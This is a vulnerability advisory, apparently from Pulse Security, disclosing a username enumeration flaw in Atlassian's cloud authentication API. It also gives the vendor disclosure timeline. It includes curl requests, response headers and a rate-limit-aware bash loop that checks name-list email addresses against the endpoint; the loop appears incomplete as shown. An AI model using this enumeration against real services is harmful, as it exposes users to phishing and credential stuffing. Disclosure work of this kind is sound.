Username Enumeration

Nov 11 2020

The authentication platform responsible for authenticating cloud-based Jira, Bitbucket and Confluence users ( exposes a username enumeration vulnerability via the API endpoint. Pulse Security has leveraged this vulnerability on multiple engagements to build a list of valid target email addresses for further attacks, such as social engineering and credential stuffing. Atlassian have elected to mitigate this vulnerability by implementing a request rate limit, and as such this vulnerability may continue to be used to enumerate users.

Date Released: 11/11/2020
Author: Denis Andzakovic
Vendor Website:
Affected Software:


The endpoint takes an email address as its only parameter. The implicitConsent return parameter changes based on whether an email address is registered with Atlassian. A valid email returns false, while an invalid email returns true.

The following figures show a valid and invalid email, respectively:

:~$ curl -H "Content-Type: application/json" -d "{\"email\":\"[email protected]\"}"
:~$ curl -H "Content-Type: application/json" -d "{\"email\":\"[email protected]\"}"

Using the first 500 entries within the family names list in the SecLists repository and after determining the Atlassian email scheme, Pulse Security enumerated 833 Atlassian email addresses as a proof of concept.

Rate Limiting Mitigation

Atlassian elected to mitigate this vulnerability by introducing a rate limit, limiting the number of requests that can be issued to the marketing-consent API to 100 requests every 60 seconds. This can be determined by observing the response headers:

:~$ curl -v -k  -H "Content-Type: application/json" -d "{\"email\":\"[email protected]\"}"
< HTTP/2 200 
< date: Tue, 10 Nov 2020 22:26:12 GMT
< content-type: application/json; charset=UTF-8
< content-length: 59
< server: globaledge-envoy
< x-ratelimit-limit: 100
< x-ratelimit-remaining: 98
< x-ratelimit-reset: 1605047215
< cache-control: private, no-cache, max-age=0, no-store, must-revalidate
< pragma: no-cache
< x-frame-options: SAMEORIGIN
< x-envoy-upstream-service-time: 232
< referrer-policy: origin
< expect-ct: report-uri="", max-age=86400
< strict-transport-security: max-age=63072000; preload
< x-content-type-options: nosniff
< x-xss-protection: 1; mode=block
* Connection #0 to host left intact

The x-ratelimit-limit, x-ratelimit-remaining and x-ratelimit-reset detail the rate limiting specifics.

Exploiting Rate Limited Enumeration

A good place to start for username enumeration is Daniel Miessler’s The following curl one-liner (semi-colons replaced with new-lines for “readabilities” sake) can be used to perform an enumeration of <firstname>.<lastname>@nonexistdomaoin.local, ensuring that no more than 100 requests are issued every 60 seconds.

NOW=$(date +%s)
while read lastname
    while read firstname 
        JSONREQ="{\"email\":\"[email protected].local\"}"
        echo $JSONREQ
        curl -k  -H "Content-Type: application/json" -d $JSONREQ; echo
        if [ $COUNT -gt 99 ] && [ $NOW -gt $(($(date +%s)-60)) ]
            DELAY=$(($NOW+60-$(date +%s)))
            echo "[+] sleeping " $DELAY
            sleep $DELAY
            NOW=$(date +%s)
    done < firstnames.txt
done < familynames-usa-top1000.txt  | tee log

With the first-names and last-names provided in SecLists, this should take roughly 13 days to complete from one source IP address. firstnames.txt can be created as follows:

:~/tools/SecLists/Usernames/Names$ cat malenames-usa-top1000.txt femalenames-usa-top1000.txt | sort -u > firstnames.txt


07/09/2020 - Advisory sent to Atlassian.
10/09/2020 - Atlassian confirm the issue, advisory accepted.
12/10/2020 - Request for update.
09/11/2020 - Request for update.
09/11/2020 - Atlassian advise the issue is closed and the endpoint is now subject to a rate limit.
11/11/2020 - Advisory released.